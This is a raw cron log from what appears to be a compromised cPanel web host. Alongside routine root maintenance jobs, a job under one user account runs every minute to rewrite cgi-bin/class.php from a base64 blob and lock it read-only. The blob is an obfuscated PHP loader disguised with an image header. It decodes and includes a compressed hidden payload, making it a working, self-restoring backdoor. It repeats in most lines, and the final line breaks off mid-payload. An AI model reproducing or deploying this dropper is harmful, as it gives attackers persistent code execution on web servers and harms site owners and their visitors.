Apr  6 16:21:01 server CROND[17570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:22:01 server CROND[17714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:23:01 server CROND[17764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:24:01 server CROND[17813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:25:01 server CROND[17861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:25:01 server CROND[17862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:25:01 server CROND[17863]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  6 16:25:01 server CROND[17864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:26:01 server CROND[17968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:27:01 server CROND[18124]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 16:27:01 server CROND[18125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:28:01 server CROND[18177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:29:01 server CROND[18229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:30:01 server CROND[18303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 16:30:01 server CROND[18304]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:30:01 server CROND[18305]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  6 16:30:01 server CROND[18306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:30:01 server CROND[18308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:31:01 server CROND[18446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:32:01 server CROND[18493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:33:01 server CROND[18636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:34:01 server CROND[18689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMje